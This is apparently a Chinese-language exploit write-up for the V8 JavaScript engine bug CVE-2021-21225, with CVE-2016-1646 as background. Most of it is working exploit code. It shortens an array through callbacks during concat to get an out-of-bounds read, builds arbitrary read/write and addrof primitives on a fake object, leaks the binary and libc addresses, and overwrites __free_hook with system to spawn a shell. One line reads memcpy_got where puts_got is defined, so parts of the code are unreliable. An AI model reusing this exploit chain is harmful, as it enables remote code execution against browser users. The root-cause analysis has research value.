evilCallback: CVE-2021-21225
CVE-2016-1646
在进行这个分析中,可以先看一个比较旧的漏洞 CVE-2016-1646
,在执行
a = [1].concat([2, 3]);
的时候,v8会使用
for (int i = 0; i < argument_count; i++) {
Handle<Object> object = args‑>at(i);
IterateElements(isolate, object, &visitor))
}
遍历concat()
的每一个对象并且传入IterateElements
,对于一个只有double
元素的数组,它的elementsKind
属于FAST_DOUBLE_ELEMENTS
这时,在IterateElements
会进入如下分支
switch (array‑>GetElementsKind()) {
case FAST_DOUBLE_ELEMENTS: {
// ...
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
// ...
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
// ...
Handle<Object> element_value(elements->get(j), isolate);
// ...
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false;
}
});
在这里可以发现,数组的length
被缓存下来,然后使用fast_length
来控制循环次数,但如果遇到一个hole
型的元素,就会使用JSReceiver::GetElement(isolate, array, j), false
从原型链查找,这个时候会触发getter/setter
callback,这里可以执行任意的JavaScript,如果在这个callback中
proto.__defineGetter__(1, function() {
array.length = 1;
new ArrayBuffer(0x7fe00000);
return 1;
});
就可以导致数组长度变短,并且经过垃圾回收,空闲的内存将被再次分配到其它对象,然而fast_length
并没有被修改,导致越界读
CVE-2021-21225
从上面我们可以知道,如果在遍历过程中能够触发callback并且修改掉数组长度,就很有可能是不安全的,观察patch可以发现,patch其实就是重新引入了CVE-2021-21225
,在visit()
中,有
MAYBE_RETURN(
JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false);
return true;
这又会调用Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value)
,
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
Isolate* isolate = it->isolate();
DCHECK_IMPLIES(it->GetReceiver()->IsJSProxy(isolate),
it->GetName()->IsPrivateName(isolate));
DCHECK_IMPLIES(!it->IsElement() && it->GetName()->IsPrivateName(isolate),
it->state() == LookupIterator::DATA);
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
// Store on the holder which may be hidden behind the receiver.
DCHECK(it->HolderIsReceiverOrHiddenPrototype());
Handle<Object> to_assign = value;
// Convert the incoming value to a number for storing into typed arrays.
if (it->IsElement() && receiver->IsJSObject(isolate) &&
JSObject::cast(*receiver).HasTypedArrayOrRabGsabTypedArrayElements(
isolate)) {
ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();
if (IsBigIntTypedArrayElementsKind(elements_kind)) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
BigInt::FromObject(isolate, value),
Nothing<bool>());
if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
return Just(true);
}
} else if (!value->IsNumber() && !value->IsUndefined(isolate)) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
Object::ToNumber(isolate, value),
Nothing<bool>());
if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
return Just(true);
}
}
}
在value
不是Number
的时候,会进一步调用Object::ToNumber
这会触发valueOf
callback,接下来我们只需要能进入外层的if,这里我们需要让receiver为一个TypedArray
,这可以通过Symbol.species
来实现,concat
会通过Symbol.species
来构造需要返回的对象,
class LeakTypedArray extends Float64Array { }
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function () { })
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function () { return lta; }
});
这样我们就可以让它返回一个TypedArray
了,然后通过valueOf
callback,触发数组长度缩减
Array.prototype[0] = {
valueOf: function () {
a.length = 1;
new ArrayBuffer(0x7fe00000);
delete Array.prototype[0];
}
};
Build our primitive
Info leak
在v8中,literal array的储存方式为
Low High
[element 0][element 1]...[element n][Map][Property][Elements][Length]
所以通过越界读,我们可以泄漏出Map
, Property
和Elements
,从而计算出其它相邻对象的地址
arbitrary r/w
首先我们要能够得到一个最基本的任意读写能力,通过以上的分析,我们可以轻松泄漏出相邻对象的地址,接下来我们考虑构造一个fake object,它的类型为Float Array,这在第一步的时候,通过泄漏的Map,Property,Elements,Length就可以实现,我们把这些泄漏数据存入fake_object_arr的buffer中,接下来它的buffer就会成为这个fake object。 对于一个混合类型的数组
case PACKED_SMI_ELEMENTS:
case PACKED_ELEMENTS:
case PACKED_FROZEN_ELEMENTS:
case PACKED_SEALED_ELEMENTS:
case PACKED_NONEXTENSIBLE_ELEMENTS:
case HOLEY_SMI_ELEMENTS:
case HOLEY_FROZEN_ELEMENTS:
case HOLEY_SEALED_ELEMENTS:
case HOLEY_NONEXTENSIBLE_ELEMENTS:
case HOLEY_ELEMENTS: {
// Disallow execution so the cached elements won't change mid execution.
DisallowJavascriptExecution no_js(isolate);
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(isolate, array, j);
if (maybe.IsNothing()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false;
}
}
});
break;
}
将会获得对应元素的指针,如果我们通过callback缩减数组长度,并进行垃圾回收,从而让这个目标数组中hole
的位置与另外一个存有我们fake_object地址的地址重叠,这个时候elements->get(j)
就会返回我们的fake_object对象
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
/* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
];
// var fake_object = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]
// fake_object is defined in information_leak in order to leak its data
var addr = helper.lltof(helper.fake_object_arr_buffer_addr)
k.fill(0);
var fake_jsarray_object_ptr = [
1.1, 2.2, 3.3, 4.4, 1.1, 2.2, 3.3, 4.4, addr
]
这里,我们让addr和hole在垃圾回收后重叠,就可以获得一个以fake_object_arr_buffer_addr
为地址的对象了,并且这个对象的属性可以通过fake_object
来进行任意的控制,我们就获得了基础的任意读写能力,然而这里有一个问题,就是此时我们的对象其实是一个浮点数组,根上面的分析,这里会尝试将这个数组转换为Number
,这会抛出异常,如果在原型链上再加一个callback,通过抛出异常我们就可以顺利退出这个函数,并且把得到的fake_object保存下来
Array.prototype[9] = {
valueOf: function () {
a.length = 1;
k.length = 1;
new ArrayBuffer(0x7fe00000); // force gc
Object.prototype.valueOf = function () {
console.log("trigger");
target_array = this;
delete Object.prototype.valueOf;
throw 'bailout';
return 42;
}
delete Array.prototype[9];
return 1.1;
}
};
接下来构造任意读写
function arbread(addr) {
console.log("[*] read @" + helper.hex(addr));
helper.fake_object[2] = helper.lltof(addr - 0x10n);
return helper.ftoll(target_array[0]);
}
function arbwrite(addr, data) {
console.log("[*] write " + helper.hex(data) + " to @" + helper.hex(addr));
helper.fake_object[2] = helper.lltof(addr - 0x10n);
target_array[0] = helper.lltof(data << 8n);
return;
}
通过fake_object
我们可以控制target_array
的属性,fake_object[2]
就是target_array
的elements
指针,由此我们就实现了任意读写。
address of
在 JavaScript 引擎的漏洞利用中一个很重要的 primitive 就是 address of,让我们获取任意对象的地址,考虑
var arr = [{}, 1, 1, 1, 1, 1, 1]
arr是一个混合数组,其中存储的是对象的指针,我们将对象存入arr[0]
再通过任意读读出这个位置的值,就能知道任意对象的地址了。
function addrof(object) {
helper.addrof_array[0] = object;
helper.fake_object[2] = helper.lltof(helper.addrof_array_addr);
return helper.ftoll(target_array[0]);
}
Code execution
有两种方法,在 JavaScript 引擎的利用中我们可以利用 wasm 或者 JIT 产生的 rwx 代码段写 shellcode,也可以靠普通的glibc方法(这里不同的库版本会有影响),泄漏 glibc 地址,写 freehook 拿到任意代码执行,
console.log("[*] address of array: " + helper.hex(addr_of_arr))
addr_of_arr_constructor = addrof(arr.constructor) - 1n;
console.log("[*] address of array constructor: " + helper.hex(addr_of_arr_constructor))
arr_map_addr = arbread(addr_of_arr);
console.log("[*] address of arr_map_addr: " + helper.hex(arr_map_addr));
map_region = arr_map_addr & 0xFFFFFFFFFFFF0000n
console.log("[*] address of map_region: " + helper.hex(map_region));
p1 = map_region + 0x40n;
p2 = arbread(p1) / 256n;
p3 = arbread(p2) / 256n;
code = arbread(p3) / 256n - 0x389eb0n;
console.log("[+] code: " + helper.hex(code));
通过map我们可以拿到可执行文件的基址,然后通过GOT表拿到libc地址
puts_got = code + 0xfd86b0n;
libc_addr = arbread(memcpy_got) / 256n - 0xbbad0n;
console.log("[+] puts: " + helper.hex(arbread(puts_got) / 256n));
console.log("[+] libc_addr: " + helper.hex(libc_addr));
freehook = libc_addr + 0x1eee48n;
console.log("[+] freehook: " + helper.hex(freehook));
system = libc_addr + 0x52290n
console.log("[+] system: " + helper.hex(system));
然后写freehook为system
,最后利用console.log
会释放参数,执行任意命令
arbwrite(freehook, system);
console.log("/bin/sh");
enjoy your shell